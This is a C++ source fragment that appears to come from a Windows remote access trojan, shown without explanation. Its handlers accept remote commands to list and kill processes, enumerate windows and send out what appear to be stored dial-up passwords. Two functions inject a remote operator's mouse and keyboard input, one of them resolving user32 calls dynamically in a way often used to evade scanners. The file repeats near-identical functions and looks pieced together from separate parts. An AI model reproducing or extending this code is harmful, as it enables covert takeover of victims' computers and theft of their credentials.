void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
SwitchInputDesktop();
switch (lpBuffer[0])
{
case COMMAND_PSLIST:
SendProcessList();
break;
case COMMAND_WSLIST:
SendWindowsList();
break;
case COMMAND_DIALUPASS:
SendDialupassList();
break;
case COMMAND_KILLPROCESS:
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
default:
break;
}
}
bool CInputThread::ThreadLoop()
{
CRefObj<IInputEvent> pEvent;
if (m_events.pop(pEvent))
{
SwitchInputDesktop(); //try to switch to input desktop
Delay(m_nDelay);
pEvent->Input();
if ( m_events.size() )
{
}
else
{
SetEvent(m_hWaitForIdle);
}
return true;
}
return false;
}
void CScreenManager::ProcessMouseAndKeyCommand(LPBYTE lpBuffer, UINT nSize)
{
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
int nCount = nSize / sizeof(MSG);
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event((UINT)pMsg->wParam, MapVirtualKey((UINT)pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event((UINT)pMsg->wParam, MapVirtualKey((UINT)pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
typedef VOID
(WINAPI
*mouse_eventT)(
__in DWORD dwFlags,
__in DWORD dx,
__in DWORD dy,
__in DWORD dwData,
__in ULONG_PTR dwExtraInfo);
mouse_eventT pmouse_event=(mouse_eventT)GetProcAddress(LoadLibrary("USER32.dll"),"mouse_event");
typedef BOOL
(WINAPI
*SetCursorPosT)(
__in int X,
__in int Y);
SetCursorPosT pSetCursorPos=(SetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),"SetCursorPos");
typedef HWND
(WINAPI
*WindowFromPointT)(
__in POINT Point);
WindowFromPointT pWindowFromPoint=(WindowFromPointT)GetProcAddress(LoadLibrary("USER32.dll"),"WindowFromPoint");
typedef HWND
(WINAPI
*SetCaptureT)(
__in HWND hWnd);
SetCaptureT pSetCapture=(SetCaptureT)GetProcAddress(LoadLibrary("USER32.dll"),"SetCapture");
typedef UINT
(WINAPI
*MapVirtualKeyAT)(
__in UINT uCode,
__in UINT uMapType);
MapVirtualKeyAT pMapVirtualKeyA=(MapVirtualKeyAT)GetProcAddress(LoadLibrary("USER32.dll"),"MapVirtualKeyA");
typedef VOID
(WINAPI
*keybd_eventT)(
__in BYTE bVk,
__in BYTE bScan,
__in DWORD dwFlags,
__in ULONG_PTR dwExtraInfo);
keybd_eventT pkeybd_event=(keybd_eventT)GetProcAddress(LoadLibrary("USER32.dll"),"keybd_event");
// 数据包不合法
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// 命令个数
int nCount = nSize / sizeof(MSG);
// 处理多个命令
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
pSetCursorPos(point.x, point.y);
pSetCapture(pWindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
pmouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
pmouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
pmouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
pmouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
pmouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
pmouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
pmouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
pmouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
pmouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
pmouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
pmouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
pkeybd_event(pMsg->wParam, pMapVirtualKeyA(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
pkeybd_event(pMsg->wParam, pMapVirtualKeyA(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
